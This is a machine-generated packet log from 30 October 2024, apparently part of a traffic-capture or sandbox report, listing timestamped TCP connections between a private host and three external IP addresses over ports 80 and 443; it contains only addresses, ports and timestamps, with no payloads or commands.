Oct 30, 2024 04:35:26.777447939 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.777456999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777467012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777477026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777493000 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.777513981 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.777548075 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777559996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777569056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777580023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777587891 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.777611017 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.777643919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777656078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777667999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.777677059 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.777733088 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:28.995095968 CET	49984	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:28.995129108 CET	443	49984	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:28.995223045 CET	49984	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:28.996366024 CET	49984	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:28.996400118 CET	443	49984	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:29.511033058 CET	49982	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:29.511329889 CET	49985	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:29.516801119 CET	80	49985	185.215.113.43	192.168.2.7
Oct 30, 2024 04:35:29.516835928 CET	80	49982	185.215.113.43	192.168.2.7
Oct 30, 2024 04:35:29.516963005 CET	49982	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:29.516963005 CET	49985	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:29.517035007 CET	49985	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:29.522274017 CET	80	49985	185.215.113.43	192.168.2.7
Oct 30, 2024 04:35:29.614413977 CET	443	49984	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:29.614543915 CET	49984	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:29.617463112 CET	49984	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:29.617471933 CET	443	49984	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:29.617738962 CET	443	49984	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:29.666770935 CET	49984	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:30.130793095 CET	49984	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:30.130870104 CET	49984	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:30.130949020 CET	443	49984	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:30.487538099 CET	80	49985	185.215.113.43	192.168.2.7
Oct 30, 2024 04:35:30.487613916 CET	49985	80	192.168.2.7	185.215.113.43
Oct 30, 2024 04:35:30.508040905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:30.508313894 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:30.513668060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:30.513752937 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:30.513921976 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:30.513972998 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:30.516657114 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:30.521934986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:30.588529110 CET	443	49984	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:30.588625908 CET	443	49984	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:30.588687897 CET	49984	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:30.728049994 CET	49984	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:30.728069067 CET	443	49984	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:30.728080034 CET	49984	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:30.728085041 CET	443	49984	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:30.810944080 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:30.810964108 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:30.811036110 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:30.811328888 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:30.811342001 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.414592028 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.414668083 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:31.416594028 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:31.416603088 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.416836023 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.418557882 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:31.418597937 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:31.418633938 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.434344053 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.434407949 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.434418917 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.434433937 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.434458017 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.434459925 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.434473991 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.434482098 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.434490919 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.434499025 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.434508085 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.434530020 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.434564114 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.434568882 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.434581995 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.434596062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.434618950 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.434655905 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.439815044 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.439877987 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.439884901 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.439918995 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.440011978 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.440052032 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.440063000 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.440093040 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.596808910 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.596860886 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.596874952 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.596889973 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.596924067 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.597009897 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.597028017 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.597119093 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.597239971 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.597254038 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.597269058 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.597343922 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.597487926 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.597503901 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.597518921 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.597528934 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.597537041 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.597579956 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.598350048 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.598366022 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.598381042 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.598402023 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.598402023 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.598452091 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.716734886 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.716762066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.716779947 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.716806889 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.716811895 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.716829062 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.716835976 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.716845989 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.716882944 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.716897011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.716912031 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.716928005 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.716938972 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.716975927 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.717008114 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.717021942 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.717035055 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.717050076 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.717052937 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.717092991 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.763262987 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.763287067 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.763369083 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.832489014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.832505941 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.832520008 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.832578897 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.832597971 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.832675934 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.832715988 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.832731962 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.832737923 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.832762957 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.832767963 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.832783937 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.832812071 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.832834005 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.833281994 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.833328009 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.833337069 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.833343983 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.833369970 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.833403111 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.834378958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.834393024 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.834429979 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.834450006 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.887351990 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.887492895 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.887561083 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:31.887571096 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.887658119 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.887716055 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:31.887723923 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.887815952 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.887885094 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:31.887892008 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.887986898 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.888042927 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:31.888048887 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.922111034 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.922127008 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.922142029 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.922178030 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.922219038 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.932432890 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:31.932440042 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:31.950025082 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.950041056 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.950093031 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.950326920 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.950356960 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.950371027 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.950489998 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.950505972 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.950505972 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.950540066 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.950545073 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.950562000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.950601101 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.950623989 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.950848103 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.950881958 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.950896978 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.950903893 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.950918913 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.950947046 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.951953888 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.951967955 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.952019930 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.952059031 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.952095032 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.952110052 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:31.952115059 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.952169895 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:31.979243994 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:32.001967907 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:32.002022028 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:32.002053022 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:32.002068043 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:32.002074957 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:32.002118111 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:32.002216101 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:32.002330065 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:32.002371073 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:32.002484083 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:32.002491951 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:32.002517939 CET	49987	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:32.002522945 CET	443	49987	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:32.039825916 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.039844036 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.039894104 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.067816019 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.067831039 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.067846060 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.067866087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.067878962 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.067915916 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.068373919 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.068423986 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.068448067 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.068463087 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.068478107 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.068492889 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.068523884 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.068659067 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.068671942 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.068711996 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.068834066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.068891048 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.068892956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.068908930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.068952084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.069643021 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.069693089 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.069741011 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.069763899 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.069778919 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.069787979 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.069813013 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.069842100 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.069891930 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.069940090 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.069951057 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.069999933 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.157512903 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.157550097 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.157602072 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.185694933 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.185708046 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.185755968 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.186079025 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.186094999 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.186109066 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.186131954 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.186186075 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.186217070 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.186259031 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.186275959 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.186290979 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.186316013 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.186353922 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.186549902 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.186603069 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.186604023 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.186619997 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.186644077 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.186669111 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.186861992 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.186911106 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.186913967 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.186929941 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.186964035 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.187006950 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.187372923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.187414885 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.187422037 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.187459946 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.187460899 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.187494993 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.187505960 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.187510014 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.187531948 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.187560081 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.214525938 CET	49988	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:32.214570045 CET	443	49988	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:32.214638948 CET	49988	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:32.215033054 CET	49988	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:32.215046883 CET	443	49988	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:32.275465965 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.275480986 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.275578022 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.303391933 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.303406000 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.303494930 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.303675890 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.303689957 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.303761005 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.303764105 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.303793907 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.303809881 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.303827047 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.303924084 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.304083109 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.304096937 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.304132938 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.304212093 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.304261923 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.304263115 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.304286957 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.304302931 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.304306984 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.304331064 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.304354906 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.304977894 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.305016041 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.305035114 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.305043936 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.305058956 CET	80	49986	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:32.305059910 CET	49986	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:32.305093050 CET	49986	80	192.168.2.7	185.215.113.16
